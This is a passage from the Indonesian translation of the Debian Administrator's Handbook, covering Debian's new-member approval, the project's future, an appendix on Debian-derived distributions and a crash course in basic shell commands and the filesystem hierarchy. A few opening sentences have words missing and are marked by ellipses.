Langkah ini merepresentasikan peluang bagi kandidat untuk menyatakan bahwa mereka ingin ... dalam proyek Debian dan menunjukkan bahwa mereka telah bergerak maju... Debian adalah proyek pragmatis dan mengatakan sesuatu tidak cukup, jika tindakan tidak sesuai dengan apa yang dikatakan. Umumnya, saat ... dalam proyek berkaitan dengan pengelolaan paket, versi pertama dari prospektif pakt akan harus divalidasi secara teknis dan diunggah ke server Debian oleh sponsor dari pengembang Debian saat ini.

KOMUNITAS Sponsoring

Pengembang Debian dapat “sponsor” paket yang disiapkan oleh orang lain, berarti bahwa mereka mempublikasikan mereka dalam repositori Debian resmi setelah melakukan review ... Mekanisme ini memungkinkan orang lain, yang ... melalui proses anggota baru, untuk berkontribusi ... pada proyek. Pada waktu yang bersamaan, memastikan bahwa semua paket yang dimasukkan dalam Debian telah diperiksa oleh anggota resmi.

Akhirnya, penguji memeriksa kemampuan teknis (pemaketan) kandidat dengan kuesioner yang detail. Jawaban buruk tidak diizinkan, namun waktu menjawab tidak dibatasi. Semua dokumentasi tersedia dan beberapa kali percobaan diizinkan jika jawaban pertama belum mencukupi. Langkah ini bukan bermaksud untuk mendiskriminasi, namun untuk memastikan ... pengetahuan yang sama bagi kontributor baru.

Langkah ini dikenal sebagai langkah Tasks & Skills (disingkat dengan T&S) pada jargon penguji.

15.4.2.5. Persetujuan Akhir

Pada langkah terakhir, seluruh proses di-review oleh DAM (Debian Account Manager). DAM akan me-review semua informasi kandidat yang telah dikumpulkan penguji dan membuat keputusan apakah akan membuat akun pada server Debian atau tidak. Pada keadaan di mana informasi tambahan dibutuhkan, pembuatan akun bisa jadi tertunda. Penolakan jarang terjadi jika penguji melakukan pekerjaannya dengan baik, namun sesekali terjadi penolakan. Hal ini tidak pernah permanen, dan kandidat bebas untuk mencoba lagi pada waktu berikutnya.

Keputusan DAM bersifat otoritatif dan (hampir) tanpa sanggahan, yang menerangkan mengapa orang yang menjabat seringkali pada masa lalu dikritik.

Bab 16. Kesimpulan: Masa Depan Debian

Kisah Falcot Corp selesai dengan bab terakhir ini; tapi Debian hidup terus, dan masa depan pasti akan membawa banyak kejutan menarik.

16.1. Pengembangan Mendatang

Sekarang setelah versi 10 Debian keluar, pengembang sudah sibuk bekerja pada versi berikutnya, diberi nama kode Bullseye…

Tidak ada daftar resmi dari rencana perubahan, dan Debian tidak pernah membuat janji terkait sasaran-sasaran teknis dari versi mendatang. Namun, beberapa tren pengembangan sudah dapat dicantumkan, dan kita bisa mencoba bertaruh atas apa yang mungkin terjadi (atau tidak).

Untuk meningkatkan keamanan dan kepercayaan, semakin banyak paket akan dibuat dapat direproduksi build-nya; dengan kata lain, akan mungkin untuk membangun kembali byte demi byte paket-paket biner yang identik dari paket-paket sumber, sehingga memungkinkan semua orang untuk memastikan bahwa tidak ada pengubahan yang terjadi selama membangun. Fitur ini bahkan mungkin diperlukan oleh manajer rilis untuk menguji migrasi.

Dalam tema terkait, banyak upaya akan dilakukan untuk meningkatkan keamanan secara default, dengan lebih banyak paket mengirim profil AppArmor.

Tentu saja, semua keluarga perangkat lunak utama akan memiliki rilis mayor. Versi terbaru dari berbagai desktop akan membawa kegunaan yang lebih baik dan fitur-fitur baru. Wayland, server tampilan baru, mungkin akan menggantikan X11 yang usang sepenuhnya.

Dengan meluasnya penggunaan integrasi terus menerus dan pertumbuhan arsip (dan dari paket terbesar!), kendala pada rilis arsitektur akan lebih sulit dipenuhi dan beberapa arsitektur akan dijatuhkan (seperti mips, mipsel, dan mungkin mips64el).

16.2. Masa depan Debian

Selain perkembangan internal ini, kita bisa berharap munculnya distro-distro baru berbasis Debian, karena banyak alat yang membuat tugas ini lebih mudah. Sub proyek khusus baru akan juga dimulai, dalam rangka memperluas jangkauan Debian ke cakrawala baru.

Komunitas pengguna Debian akan meningkat, dan kontributor baru akan bergabung dengan proyek... termasuk, mungkin, Anda!

Ada diskusi berulang tentang bagaimana ekosistem perangkat lunak berevolusi, menuju aplikasi yang dikirimkan dalam kontainer, di mana paket Debian tidak memiliki nilai tambah, atau dengan manajer paket khusus bahasa (mis. pip untuk Python, npm untuk JavaScript, dll.), yang membuat dpkg dan apt usang. Menghadapi ancaman itu, saya yakin bahwa pengembang Debian akan menemukan cara untuk merangkul evolusi itu dan terus memberikan nilai kepada pengguna.

Terlepas dari usia tua dan ukurannya yang terhormat, Debian terus tumbuh ke segala arah (yang kadang-kadang tak terduga). Kontributor yang penuh dengan ide, dan diskusi pada milis pengembangan, bahkan ketika mereka tampak seperti bertengkar, terus meningkatkan momentum. Debian kadang-kadang dibandingkan dengan sebuah lubang hitam, dengan kepadatan yang sedemikian sehingga proyek perangkat lunak bebas baru apapun menjadi tertarik.

Di luar kepuasan nyata sebagian besar pengguna Debian, tren yang dalam menjadi semakin tak terbantahkan: orang semakin menyadari bahwa berkolaborasi, daripada bekerja sendirian di sudut mereka, mengarah ke hasil yang lebih baik untuk semua orang. Itulah alasan yang digunakan oleh distribusi yang bergabung ke Debian melalui sub proyek.

Maka proyek Debian tidak terancam oleh kepunahan…

16.3. Masa depan Buku ini

Kami ingin buku ini berkembang dalam semangat perangkat lunak bebas. Oleh karena itu kami menerima kontribusi, komentar, saran, dan kritik. Silakan kirim ke Raphaël (<hertzog@debian.org>) atau Roland (<lolando@debian.org>). Untuk umpan balik yang dapat ditindaklanjuti, jangan ragu untuk membuka laporan bug terhadap paket Debian debian-handbook. Situs web akan digunakan untuk mengumpulkan semua informasi yang relevan dengan evolusinya, dan Anda akan menemukan di sana informasi tentang cara untuk berkontribusi, khususnya jika Anda ingin menerjemahkan buku ini agar menjadi tersedia untuk lebih banyak orang dari hari ini.

→ https://debian-handbook.info/

Kami mencoba untuk mengintegrasikan sebagian besar dari apa yang diajarkan oleh pengalaman kami di Debian kepada kita, sehingga siapapun dapat menggunakan distribusi ini dan mengambil keuntungan terbaik darinya sesegera mungkin. Kami berharap buku ini memberikan kontribusi untuk membuat Debian tidak memusingkan dan lebih populer, dan kami menyambut publisitas sekitarnya!

Kami ingin mengakhiri dengan suatu catatan pribadi. Menulis (dan menerjemahkan) buku ini memakan sejumlah besar waktu kami dari kegiatan profesional yang biasa kami lakukan. Karena kami berdua adalah konsultan freelance, setiap sumber pendapatan baru memberikan kepada kami kebebasan untuk menghabiskan lebih banyak waktu meningkatkan Debian; kami berharap buku ini akan sukses dan berkontribusi untuk ini. Sementara itu, jangan ragu untuk memanfaatkan layanan kami!

→ https://www.freexian.com

→ http://www.gnurandal.com

Sampai jumpa lagi!

Lampiran A. Distro Turunan

Banyak distribusi Linux adalah turunan Debian dan memanfaatkan perkakas manajemen paket Debian. Mereka masing-masing memiliki properti menarik, dan mungkin satu dari mereka akan memenuhi kebutuhan Anda lebih baik daripada Debian sendiri.

A.1. Sensus dan Kerja Sama

Proyek Debian sepenuhnya mengakui pentingnya distro turunan dan secara aktif mendukung kolaborasi antara semua pihak yang terlibat. Hal ini biasanya melibatkan penggabungan kembali perbaikan yang awalnya dikembangkan oleh distribusi turunan sehingga setiap orang dapat memperoleh manfaat dan pekerjaan pemeliharaan jangka panjang berkurang.

Ini menjelaskan mengapa distribusi turunan diundang untuk ikut terlibat dalam diskusi pada milis debian-derivatives@lists.debian.org, dan untuk berpartisipasi dalam sensus derivatif. Sensus ini bertujuan mengumpulkan informasi tentang pekerjaan yang sedang berlangsung dalam suatu derivatif sehingga para maintainer resmi Debian dapat melacak dengan lebih baik keadaan dari paket-paket mereka dalam varian-varian Debian.

→ https://wiki.debian.org/DerivativesFrontDesk

→ https://wiki.debian.org/Derivatives/Census

Mari kita uraikan secara singkat distribusi derivatif yang paling menarik dan populer.

A.2. Ubuntu

Ubuntu membuat gebrakan ketika muncul di lingkungan perangkat lunak bebas, dan untuk alasan yang baik: Canonical Ltd., perusahaan yang menciptakan distribusi ini, memulai dengan mempekerjakan tiga puluh pengembang Debian dan secara terbuka menyatakan tujuan jangkauan luas dalam menyediakan distribusi untuk masyarakat umum dengan rilis baru dua kali setahun. Mereka juga berkomitmen untuk mempertahankan setiap versi selama satu setengah tahun.

Tujuan-tujuan ini perlu melibatkan pengurangan ruang lingkup; Ubuntu berfokus pada sejumlah paket yang lebih kecil dari Debian, dan sangat bergantung pada desktop GNOME (meskipun ada turunan Ubuntu resmi, yang disebut "Kubuntu", bergantung pada KDE). Semuanya diinternasionalkan dan tersedia dalam banyak bahasa.

Sejauh ini, Ubuntu berhasil menjaga ritme rilis. Mereka juga melepas rilis-rilis Long Term Support (LTS), dengan janji perawatan 5 tahun. Sampai Juni 2019, versi LTS terkini adalah versi 18.04, dinamai Bionic Beaver. Versi non-LTS terakhir adalah versi 19.04, dinamai Disco Dingo. Nomor versi menjelaskan tanggal rilis: 19.04, misalnya, dirilis April 2019.

DALAM PRAKTEK Janji perawatan dan dukungan Ubuntu

Canonical telah menyesuaikan beberapa kali aturan tentang lamanya suatu rilis dipelihara. Canonical, sebagai perusahaan, berjanji untuk menyediakan pembaruan keamanan untuk semua perangkat lunak yang tersedia di bagian main dan restricted dari arsip Ubuntu, selama 5 tahun untuk rilis LTS dan untuk 9 bulan untuk rilis non-LTS. Segala sesuatu yang lain (tersedia dalam universe dan multiverse) dipertahankan atas dasar upaya terbaik oleh para sukarelawan dari tim MOTU (Masters Of The Universe). Bersiaplah untuk menangani sendiri dukungan keamanan jika Anda mengandalkan paket bagian terakhir tersebut.

Ubuntu telah menjangkau khalayak luas di masyarakat umum. Jutaan pengguna terkesan dengan kemudahan instalasinya, dan pekerjaan yang dicurahkan untuk membuat desktop lebih mudah digunakan.

Ubuntu dan Debian dulu memiliki hubungan yang tegang; para pengembang Debian yang telah menaruh harapan besar agar Ubuntu berkontribusi langsung ke Debian kecewa dengan perbedaan antara pemasaran Canonical, yang menyiratkan Ubuntu adalah warga negara yang baik di dunia Perangkat Lunak Bebas, dan praktik sebenarnya di mana mereka hanya mengumumkan perubahan yang mereka terapkan pada paket-paket Debian. Berbagai hal telah menjadi lebih baik selama bertahun-tahun, dan Ubuntu kini membuat praktik umum untuk meneruskan patch ke tempat yang paling tepat (meskipun ini hanya berlaku untuk perangkat lunak eksternal yang mereka kemas dan bukan untuk perangkat lunak khusus Ubuntu seperti Mir atau Unity).

→ https://www.ubuntu.com/

A.3. Linux Mint

Linux Mint adalah distribusi yang (sebagian) dikelola komunitas, didukung oleh sumbangan dan iklan. Produk andalan mereka didasarkan pada Ubuntu, tetapi mereka juga menyediakan varian "Linux Mint Debian Edition" yang terus berevolusi (karena didasarkan pada Debian Testing). Dalam kedua kasus, instalasi awal melibatkan mem-boot perangkat penyimpanan live DVD atau live USB.

Distribusi bertujuan untuk menyederhanakan akses ke teknologi canggih, dan menyediakan antarmuka pengguna grafis spesifik di atas perangkat lunak biasa. Sebagai contoh, Linux Mint bergantung pada Cinnamon daripada GNOME secara default (tetapi juga menyertakan MATE seperti KDE dan Xfce); serupa itu, antarmuka manajemen paket, meskipun berdasarkan APT, menyediakan antarmuka khusus dengan evaluasi risiko dari setiap pembaruan paket.

Linux Mint menyertakan sejumlah besar perangkat lunak proprietari untuk meningkatkan pengalaman pengguna yang mungkin membutuhkannya. Misalnya: Adobe Flash dan kodek-kodek multimedia.

→ https://www.linuxmint.com/

A.4. Knoppix

Distribusi Knoppix hampir tidak membutuhkan pengenalan. Ini adalah distribusi populer pertama yang menyediakan live CD; dengan kata lain, CD-ROM bootable yang menjalankan sistem Linux turn-key tanpa memerlukan untuk hard-disk - sebarang sistem yang sudah diinstal pada mesin akan dibiarkan tidak tersentuh. Deteksi otomatis dari perangkat yang tersedia memungkinkan distribusi ini berfungsi di sebagian besar konfigurasi perangkat keras. CD-ROM memuat hampir 2 GB perangkat lunak (terkompresi), dan versi DVD-ROM memiliki lebih banyak lagi.

Menggabungkan CD-ROM ini ke USB stick memungkinkan Anda membawa berkas-berkas Anda, dan untuk bekerja di komputer manapun tanpa meninggalkan jejak - ingat bahwa distribusi tidak menggunakan hard-disk sama sekali. Knoppix menggunakan LXDE (desktop grafis ringan) secara default, tetapi versi DVD juga menyertakan GNOME dan KDE. Banyak distribusi lain menyediakan kombinasi desktop dan perangkat lunak lainnya. Hal ini, sebagian, dimungkinkan berkat paket Debian live-build yang membuat relatif mudah untuk membuat live CD.

→ https://live-team.pages.debian.net/live-manual/

Perhatikan bahwa Knoppix juga menyediakan penginstal: pertama Anda dapat mencoba distribusi sebagai live CD, kemudian memasangnya pada hard-disk untuk mendapatkan kinerja yang lebih baik.

→ https://www.knopper.net/knoppix/index-en.html

A.5. Aptosid dan Siduction

Distribusi berbasis komunitas ini melacak perubahan dalam Debian Sid (Unstable) - maka nama mereka demikian. Modifikasi terbatas dalam lingkup: tujuannya adalah untuk menyediakan perangkat lunak terbaru dan memperbarui driver untuk perangkat keras terbaru, sementara masih memungkinkan pengguna untuk beralih kembali ke distribusi Debian resmi kapan saja. Aptosid sebelumnya dikenal sebagai Sidux, dan Siduction adalah fork yang lebih baru dari Aptosid.

→ http://aptosid.com

→ https://siduction.org

A.6. Grml

Grml adalah live CD dengan banyak alat untuk administrator sistem, berurusan dengan instalasi, penggelaran, dan penyelamatan sistem. Live CD disediakan dalam dua rasa, full dan small, tersedia untuk PC 32-bit dan 64-bit. Tentu saja, kedua rasa berbeda oleh banyaknya perangkat lunak yang disertakan dan dengan ukuran yang dihasilkan.

→ https://grml.org

A.7. Tails

Tails (The Amnesic Incognito Live System) bertujuan untuk menyediakan sistem hidup yang mempertahankan anonimitas dan privasi. Itu berusaha sebisa mungkin untuk tidak meninggalkan jejak pada komputer tempatnya dijalankan, dan menggunakan jaringan Tor untuk menghubungkan ke Internet dengan cara paling anonim.

→ https://tails.boum.org

A.8. Kali Linux

Kali Linux adalah distribusi berbasis Debian yang mengkhususkan diri dalam uji penetrasi (disingkat “pentesting"). Ini menyediakan perangkat lunak yang membantu mengaudit keamanan jaringan atau komputer yang ada saat itu hidup, dan menganalisanya setelah serangan (yang dikenal sebagai "forensik komputer").

→ https://kali.org

A.9. Devuan

Devuan adalah fork yang relatif baru dari Debian: dimulai pada tahun 2014 sebagai reaksi terhadap keputusan yang dibuat oleh Debian untuk beralih ke systemd sebagai sistem init default. Sekelompok pengguna yang melekat pada sysv dan menentang kekurangan systemd memulai Devuan dengan tujuan memelihara sistem tanpa systemd.

→ https://devuan.org

A.10. DoudouLinux

DoudouLinux menargetkan anak-anak (mulai dari 2 tahun). Untuk mencapai tujuan ini, ia menyediakan antarmuka grafis yang sangat disesuaikan (berdasarkan LXDE) dan dilengkapi dengan banyak permainan dan aplikasi edukatif. Akses internet difilter untuk mencegah anak-anak mengunjungi situs web yang bermasalah. Iklan diblokir. Tujuannya adalah agar orang tua bebas untuk membiarkan anak-anak mereka menggunakan komputer mereka setelah boot ke DoudouLinux. Dan anak-anak harus suka menggunakan DoudouLinux, sama seperti mereka menikmati konsol game mereka.

→ https://www.doudoulinux.org

A.11. Raspbian

Raspbian adalah hasil bangun ulang Debian yang dioptimalkan untuk keluarga komputer single board Raspberry Pi yang populer (dan murah). Perangkat keras untuk platform itu lebih kuat daripada arsitektur armel yang dapat dimanfaatkan oleh Debian, tetapi tidak memiliki beberapa fitur yang diperlukan untuk armhf; jadi Raspbian adalah sejenis perantara, dibangun khusus untuk perangkat keras itu dan termasuk patch-patch yang menargetkan komputer ini saja.

→ https://raspbian.org

A.12. PureOS

PureOS adalah distribusi berbasis Debian yang berfokus pada privasi, kenyamanan, dan keamanan. Ini mengikuti Panduan Distribusi Sistem Bebas GNU, yang digunakan oleh Free Software Foundation untuk memenuhi syarat distribusi sebagai bebas. Tujuan sosial perusahaan Purism memandu perkembangannya.

→ https://pureos.net/

A.13. SteamOS

SteamOS adalah distribusi berbasis Debian yang berorientasi pada permainan yang dikembangkan oleh Valve Corporation. Ini digunakan dalam Mesin Steam, kelompok komputer permainan.

→ https://store.steampowered.com/steamos/

A.14. Dan Banyak Lagi

Situs web Distrowatch mengacu ke sejumlah besar distribusi Linux, banyak yang didasarkan pada Debian. Menjelajahi situs ini adalah cara yang bagus untuk mendapatkan rasa keragaman di dunia perangkat lunak bebas.

→ https://distrowatch.com

Formulir pencarian dapat membantu melacak distribusi berdasarkan leluhurnya. Pada Juni 2019, memilih Debian mengarah ke 127 distribusi aktif!

→ https://distrowatch.com/search.php

Lampiran B. Kursus Remedial Singkat

Meskipun buku ini terutama menarget administrator dan pengguna mahir, kita tidak ingin mengecualikan para pemula yang termotivasi. Lampiran ini karena itu adalah kursus kilat yang menggambarkan konsep-konsep fundamental yang terlibat dalam menangani komputer Unix.

B.1. Perintah-perintah Dasar dan Shell

Di dunia Unix, setiap administrator pada akhirnya mesti menggunakan baris perintah; sebagai contoh, ketika sistem gagal untuk memulai dengan benar dan hanya menyediakan mode pertolongan baris perintah. Mampu menangani antarmuka seperti itu, karenanya, adalah keterampilan dasar untuk bertahan hidup dalam keadaan ini.

SEKILAS Memulai interpreter perintah

Lingkungan baris perintah dapat dijalankan dari desktop grafis, oleh sebuah aplikasi yang dikenal sebagai "terminal". Di GNOME, Anda bisa memulainya dari ikhtisar "Aktivitas" (yang Anda dapatkan ketika Anda memindahkan tetikus di sudut kiri atas layar) dengan mengetik huruf pertama dari nama aplikasi. Di KDE, Anda akan menemukannya di menu K → Aplikasi → Sistem.

Bagian ini hanya memberikan kilasan atas perintah-perintah. Mereka semua punya banyak opsi yang tidak dijelaskan di sini, maka silakan mengacu ke dokumentasi yang banyak tersedia dalam masing-masing halaman manual.

B.1.1. Meramban Pohon Direktori dan Mengelola Berkas

Sekali suatu sesi dibuka, perintah pwd (yang merupakan kepanjangan dari print working directory, cetak direktori kerja) menampilkan lokasi saat ini dalam sistem berkas. Direktori saat ini berubah dengan perintah cd direktori (cd adalah change directory, pindah direktori). Direktori induk selalu dinamai .. (dua titik), sedangkan direktori saat ini juga dikenal sebagai . (satu titik). Perintah ls mengizinkan menampilkan isi dari suatu direktori. Bila suatu parameter diberikan, itu beroperasi pada direktori saat ini.

$ pwd

/home/rhertzog

$ cd Desktop

$ pwd

/home/rhertzog/Desktop

$ cd .

$ pwd

/home/rhertzog/Desktop

$ cd ..

$ pwd

/home/rhertzog

$ ls

Desktop    Downloads  Pictures  Templates

Documents  Music      Public    Videos

Suatu direktori baru dapat dibuat dengan mkdir direktori, dan suatu direktori (kosong) yang telah ada dapat dihapus dengan rmdir direktori. Perintah mv mengizinkan memindah dan/atau mengubah nama berkas dan direktori; menghapus suatu berkas dicapai dengan rm berkas.

$ mkdir test

$ ls

Desktop    Downloads  Pictures  Templates  Videos

Documents  Music      Public    test

$ mv test new

$ ls

Desktop    Downloads  new       Public     Videos

Documents  Music      Pictures  Templates

$ rmdir new

$ ls

Desktop    Downloads  Pictures  Templates  Videos

Documents  Music      Public

B.1.2. Menampilkan dan Mengubah Berkas Teks

Perintah cat berkas (dimaksudkan untuk concatenate berkas ke perangkat keluaran standar) membaca berkas dan menampilkan isinya pada terminal. Jika berkas terlalu besar untuk tampil utuh di layar, gunakan pager seperti less (atau more) untuk menampilkan halaman demi halaman.

Perintah editor memulai suatu penyunting teks (seperti misalnya vi atau nano) dan mengizinkan pembuatan, pengubahan, dan pembacaan berkas teks. Berkas paling sederhana kadang dapat dibuat secara langsung dari interpreter perintah, terima kasih ke redireksi: echo "teks" >berkas membuat suatu berkas bernama berkas dengan "teks" sebagai isinya. Menambahkan suatu baris di akhir berkas ini juga mungkin, dengan suatu perintah seperti echo "tekslain" >>berkas. Perhatikan >> dalam contoh ini.

B.1.3. Mencari Berkas dan di dalam Berkas

Perintah find direktori kriteria mencari berkas dalam hirarki di bawah direktori sesuai dengan beberapa kriteria. Kriteria yang paling sering dipakai adalah -name name: yang mengizinkan pencarian berkas menurut namanya.

Perintah grep ekpresi berkas mencari isi dari berkas dan mengekstrak baris-baris yang cocok dengan ekspresi reguler (lihat bilah sisi KEMBALI KE DASAR Ekspresi reguler). Menambahkan opsi -r memungkinkan pencarian rekursif pada semua berkas yang ada dalam direktori yang disebut sebagai parameter. Hal ini memungkinkan mencari berkas ketika hanya sebagian dari isinya diketahui.

B.1.4. Mengelola Proses

Perintah ps aux menampilkan daftar proses yang saat ini sedang berjalan dan membantu mengidentifikasi mereka dengan menunjukkan pid (id proces) mereka. Sekali pid dari suatu proses diketahui, perintah kill -signal pid mengizinkan mengirim sinyal ke sana (bila proses milik dari pengguna saat ini). Ada beberapa sinyal; yang paling sering dipakai adalah TERM (suatu permintaan untuk mengakhiri secara baik-baik) dan KILL (mematikan paksa proses).

Interpreter perintah juga dapat menjalankan program di latar belakang bila perintah diikuti dengan suatu "&". Dengan memakai ampersand, pengguna meneruskan kendali shell seketika walaupun perintah masih berjalan (tersembunyi dari pengguna; sebagai suatu proses latar belakang). Perintah jobs menampilkan daftar proses yang sedang berjalan di latar belakang; menjalankan fg %nomor-tugas (untuk foreground) mengembalikan tugas ke latar depan. Ketika suatu perintah dijalankan di latar depan (baik karena itu mulai dijalankan secara normal, atau dibawa kembali ke latar depan dengan fg), kombinasi tombol Control+Z mengistirahatkan proses dan meneruskan kendali baris perintah. Proses kemudian dapat dijalankan ulang di latar belakang dengan bg %nomor-tugas (untuk background).

B.1.5. Informasi Sistem: Memori, Ruang Disk, Identitas

Perintah free menampilkan informasi tentang memori; df (disk free) melaporkan ruang disk yang tersedia pada setiap disk yang di-mount dalam sistem berkas. Opsi -h (untuk human readable, dapat dibaca manusia) mengubah ukuran ke dalam satuan yang lebih mudah dibaca (biasanya mebibita or gibibita). Mirip itu, perintah free mendukung opsi-opsi -m dan -g, dan menampilkan datanya masing-masing dalam mebibita atau dalam gigabita.

$ free

total        used        free      shared  buff/cache   available

Mem:       16279260     5910248      523432      871036     9845580     9128964

Swap:      16601084      240640    16360444

$ df

Filesystem                1K-blocks      Used Available Use% Mounted on

udev                        8108516         0   8108516   0% /dev

tmpfs                       1627928    161800   1466128  10% /run

/dev/mapper/vg_main-root  466644576 451332520  12919912  98% /

tmpfs                       8139628    146796   7992832   2% /dev/shm

tmpfs                          5120         4      5116   1% /run/lock

tmpfs                       8139628         0   8139628   0% /sys/fs/cgroup

/dev/sda1                    523248      1676    521572   1% /boot/efi

tmpfs                       1627924        88   1627836   1% /run/user/1000

Perintah id menampilkan identitas pengguna yang sedang menjalankan sesi, bersama dengan daftar group dimana dia menjadi anggota. Karena akses ke beberapa berkas atau peranti mungkin dibatasi ke anggota grup, memeriksa keanggotaan grup yang tersedia mungkin berguna.

$ id

uid=1000(rhertzog) gid=1000(rhertzog) groups=1000(rhertzog),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),108(netdev),109(bluetooth),115(scanner)

B.2. Organisasi dari Hirarki Sistem Berkas

B.2.1. Direktori Root

Suatu sistem Debian yang diorganisasikan mengikuti Filesystem Hierarchy Standard (FHS). Standar ini mendefinisikan tujuan masing-masing direktori. Sebagai contoh, direktori tingkat paling atas diuraikan sebagai berikut:

- /bin/: program-program dasar;

- /boot: Kernel Linux dan berkas-berkas lain yang diperlukan untuk proses boot awal;

- /dev: berkas peranti;

- /etc: berkas konfigurasi;

- /home: berkas pribadi pengguna;

- /lib: pustaka dasar;

- /media/*: titik kait untuk peranti lepas pasang (CD-ROM, flash disk USB, dan sebagainya);

- /mnt: titik kait temporer;

- /opt: aplikasi ekstra yang disediakan oleh pihak ketiga;

- /root: berkas pribadi administrator (root);

- /run: data runtime volatile yang tidak bertahan antar reboot;

- /sbin: program-program sistem;

- /srv: data yang dipakai oleh server yang diwadahi oleh sistem ini;

- /tmp: berkas temporer; direktori ini seringkali dikosongkan saat boot;

- /usr/: aplikasi; direktori ini dibagi lagi menjadi bin, sbin, lib (menurut logika yang sama seperti dalam direktori root). Selain itu, /usr/share/ berisi data arsitektur-independen. /usr/local/ dimaksudkan untuk digunakan oleh administrator untuk menginstal aplikasi secara manual tanpa menimpa berkas-berkas yang ditangani oleh sistim pemaketan (dpkg).

- /var/: data variabel yang ditangani oleh daemon. Ini termasuk berkas log, antrian, spool, cache, dan seterusnya.

- /proc/ dan /sys/ spesifik ke kernel Linux (dan bukan bagian dari FHS). Mereka dipakai oleh kernel untuk mengekspor data ke user space (lihat Bagian B.3.4, “Ruang Pengguna” dan Bagian B.5, “Ruang Pengguna” untuk penjelasan tentang konsep ini).

Perhatikan bahwa banyak distro modern, termasuk Debian, mengirim /bin, /sbin, dan /lib sebagai symlink ke direktori yang sesuai di bawah /usr sehingga semua program dan pustaka tersedia dalam satu pohon tunggal. Ini membuat lebih mudah untuk melindungi integritas sistem berkas, dan untuk berbagi sistem berkas tersebut di antara beberapa container, dsb.

B.2.2. Direktori Home Milik Pengguna

Isi dari direktori home pengguna tidak distandarkan, tetapi masih ada beberapa konvensi yang patut dicatat. Salah satunya adalah bahwa direktori home pengguna sering disebut dengan sebuah tilde ("~"). Yang sangat berguna untuk diketahui karena interpreter perintah secara otomatis mengganti sebuah tilde dengan direktori yang benar (biasanya /home/pengguna/).

Secara tradisional, berkas konfigurasi aplikasi sering tersimpan langsung di bawah direktori home pengguna, namun nama mereka biasanya mulai dengan sebuah titik (misalnya, klien surel mutt menyimpan konfigurasinya di ~/.muttrc). Perhatikan bahwa nama berkas yang dimulai dengan sebuah titik tersembunyi secara default; dan ls hanya menampilkan daftar mereka ketika opsi -a digunakan, dan manajer berkas grafis harus diberitahu untuk menampilkan berkas yang tersembunyi.

Beberapa program juga memakai berkas-berkas konfigurasi yang diorganisasi dalam sebuah direktori (sebagai contoh, ~/.ssh/). Beberapa aplikasi (seperti misalnya Firefox) juga memakai direktori mereka untuk menyimpan suatu singgahan dari data yang diunduh. Ini berarti bahwa direktori-direktori itu pada akhirnya memakai banyak ruang disk.

Berkas-berkas konfigurasi ini disimpan secara langsung dalam suatu direktori home pengguna, yang seringkali secara kolektif diacu sebagai dotfiles, telah lama menjamur sampai ke titik dimana dalam direktori-direktori ini bertebaran isi mereka. Untung, suatu upaya yang secara kolektif dinaungi oleh FreeDesktop.org telah menghasilkan “XDG Base Directory Specification”, Spesifikasi Direktori Dasar XDG, suatu konvensi yang bertujuan membersihkan berkas-berkas dan direktori ini. Spesifikasi ini menyatakan bahwa berkas-berkas konfigurasi mesti disimpan di bawah ~/.config, berkas-berkas singgahan di bawah ~/.cache, dan berkas-berkas data aplikasi di bawah ~/.local (atau subdirektorinya). Konvensi ini secara perlahan mengumpulkan dukungan, dan beberapa aplikasi (khususnya yang grafis) telah mulai mengikutinya.

Desktop grafis biasanya menampilkan isi dari direktori ~/Desktop/ (atau apa pun terjemahan yang tepat untuk sistem yang tidak dikonfigurasi dalam bahasa Inggris) pada desktop (yaitu, apa terlihat pada layar setelah semua aplikasi tertutup atau diikonkan).

Akhirnya, sistem surel terkadang menyimpan surel yang masuk ke dalam direktori ~/Mail/.

B.3. Jeroan dari suatu Komputer: Lapisan Berbeda yang Terlibat

Komputer sering dianggap sebagai sesuatu yang agak abstrak, dan antarmuka yang terlihat secara eksternal jauh lebih sederhana daripada kompleksitas internalnya. Kerumitan seperti itu sebagian berasal dari banyaknya bagian yang terlibat. Namun, potongan-potongan ini dapat dilihat dalam lapisan-lapisan, dimana suatu lapisan hanya berinteraksi dengan yang berada tepat di atas atau di bawahnya.

Pengguna akhir dapat bertahan tanpa mengetahui detail ini… selama semuanya berfungsi. Ketika menghadapi masalah seperti, “Internet tidak berfungsi!”, hal pertama yang harus dilakukan adalah mengidentifikasi di mana lapisan masalahnya berasal. Apakah kartu jaringan (perangkat keras) berfungsi? Apakah itu dikenali oleh komputer? Apakah kernel Linux melihatnya? Apakah parameter jaringan dikonfigurasi dengan benar? Semua pertanyaan ini mengisolasi lapisan yang tepat dan fokus pada sumber potensial masalah.

B.3.1. Lapisan Terdalam: Perangkat Keras

Mari kita mulai dengan pengingat dasar bahwa suatu komputer, pertama dan terpenting, adalah sekumpulan elemen perangkat keras. Biasanya ada suatu papan utama (dikenal sebagai motherboard), dengan satu (atau lebih) prosesor, RAM, pengendali perangkat, dan slot ekstensi untuk papan opsi (untuk pengendali perangkat lain). Yang paling penting di antara pengendali ini adalah IDE (Parallel ATA), SCSI, dan Serial ATA, untuk menghubungkan ke perangkat penyimpanan seperti hard disk. Pengontrol lainnya termasuk USB, yang dapat menghosting berbagai perangkat (mulai dari webcam hingga termometer, dari papan ketik hingga sistem otomasi rumah) dan IEEE 1394 (Firewire). Kontroler ini sering memungkinkan menghubungkan beberapa perangkat sehingga subsistem lengkap yang ditangani oleh pengontrol oleh karena itu biasanya dikenal sebagai ”bus”. Kartu-kartu opsi termasuk kartu grafis (di mana layar monitor akan dipasang), kartu suara, kartu antarmuka jaringan, dan sebagainya. Beberapa papan utama sudah dibangun sebelumnya dengan fitur-fitur ini, dan tidak perlu kartu opsi.

DALAM PRAKTEK Memeriksa bahwa perangkat keras bekerja

Memeriksa bahwa suatu perangkat keras bekerja bisa rumit. Di sisi lain, membuktikan bahwa itu tidak bekerja kadang-kadang cukup sederhana.

Hard disk drive terbuat dari piringan berputar dan kepala magnetik yang bergerak. Ketika hard disk dinyalakan, motor piringan membuat desir yang khas. Ini juga membuang energi sebagai panas. Akibatnya, hard disk drive yang tetap dingin dan diam saat dinyalakan berarti rusak.

Kartu jaringan sering menyertakan LED yang menampilkan status link. Jika kabel dicolokkan dan mengarah ke hub atau switch jaringan yang berfungsi, setidaknya satu LED akan menyala. Jika tidak ada lampu LED yang menyala, kartu itu sendiri, perangkat jaringan, atau kabel di antara keduanya, rusak. Langkah selanjutnya adalah menguji setiap komponen secara individual.

